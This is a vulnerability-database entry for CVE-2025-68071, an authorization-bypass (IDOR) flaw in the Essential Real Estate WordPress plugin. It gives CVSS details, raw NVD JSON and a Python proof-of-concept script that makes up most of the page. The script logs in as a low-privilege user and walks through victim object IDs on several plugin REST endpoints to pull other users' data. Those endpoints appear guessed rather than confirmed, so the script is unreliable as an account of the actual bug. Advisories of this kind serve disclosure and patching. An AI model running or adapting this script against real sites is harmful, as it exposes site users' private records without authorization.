Security Vulnerability Report
中文
CVE-2025-68071 CVSS 6.5 MEDIUM

CVE-2025-68071

Published: 2025-12-16 09:16:02
Last Modified: 2026-04-24 20:16:24

Description

Authorization Bypass Through User-Controlled Key vulnerability in g5theme Essential Real Estate essential-real-estate allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Essential Real Estate: from n/a through <= 5.3.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Essential Real Estate WordPress插件 <= 5.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68071 PoC - Essential Real Estate IDOR Vulnerability # Description: Insecure Direct Object Reference in Essential Real Estate WordPress Plugin # CVSS: 6.5 (Medium) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N import requests import json # Configuration TARGET_URL = "https://target-site.com" WORDPRESS_API = f"{TARGET_URL}/wp-json/wp/v2" PLUGIN_ENDPOINT = f"{TARGET_URL}/wp-json/essential-real-estate/v1" # Authentication credentials (low-privilege user) USERNAME = "attacker" PASSWORD = "password123" def get_auth_token(): """Obtain WordPress authentication token""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } response = session.post(login_url, data=login_data, cookies=session.cookies) return session def exploit_idor(session, victim_object_id): """ Exploit IDOR vulnerability to access unauthorized objects Args: session: Authenticated session object victim_object_id: ID of the target object to access (integer) Returns: dict: Response data from the vulnerable endpoint """ # Vulnerable endpoint - object ID is user-controlled without proper authorization vulnerable_endpoints = [ f"{PLUGIN_ENDPOINT}/property/{victim_object_id}", f"{PLUGIN_ENDPOINT}/user/{victim_object_id}", f"{PLUGIN_ENDPOINT}/booking/{victim_object_id}", f"{WORDPRESS_API}/property/{victim_object_id}" ] results = {} for endpoint in vulnerable_endpoints: try: response = session.get(endpoint, timeout=10) if response.status_code == 200: data = response.json() results[endpoint] = { "status": "success", "data": data, "sensitive_info_exposed": True } print(f"[+] Successfully accessed: {endpoint}") print(f" Response: {json.dumps(data, indent=2)}") elif response.status_code == 403: results[endpoint] = {"status": "forbidden", "accessible": False} else: results[endpoint] = {"status": "error", "code": response.status_code} except requests.exceptions.RequestException as e: results[endpoint] = {"status": "error", "message": str(e)} return results def main(): """Main exploitation routine""" print("=" * 60) print("CVE-2025-68071 PoC - Essential Real Estate IDOR") print("=" * 60) # Step 1: Authenticate with low-privilege account print("\n[Step 1] Authenticating with low-privilege account...") session = get_auth_token() print("[+] Authentication successful") # Step 2: Enumerate accessible object IDs (attacker-owned resources) print("\n[Step 2] Enumerating accessible object IDs...") attacker_property_ids = [101, 102, 103] # IDs known to attacker # Step 3: Exploit IDOR to access victim resources print("\n[Step 3] Exploiting IDOR vulnerability...") victim_ids = [1001, 1002, 1003, 1004, 1005] # Victim object IDs to target for victim_id in victim_ids: print(f"\n[*] Attempting to access object ID: {victim_id}") results = exploit_idor(session, victim_id) for endpoint, result in results.items(): if result.get("sensitive_info_exposed"): print(f"[!] VULNERABLE: {endpoint}") print(f" Exposed data: {result['data']}") print("\n" + "=" * 60) print("PoC execution completed") print("=" * 60) if __name__ == "__main__": main() # Notes: # - This PoC demonstrates the IDOR vulnerability in Essential Real Estate plugin # - Requires a valid low-privilege WordPress account # - Replace TARGET_URL with the actual target website URL # - Modify authentication credentials accordingly # - Use responsibly and only on authorized testing targets

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68071", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:02.410", "lastModified": "2026-04-24T20:16:24.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in g5theme Essential Real Estate essential-real-estate allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Essential Real Estate: from n/a through <= 5.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/essential-real-estate/vulnerability/wordpress-essential-real-estate-plugin-5-2-2-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}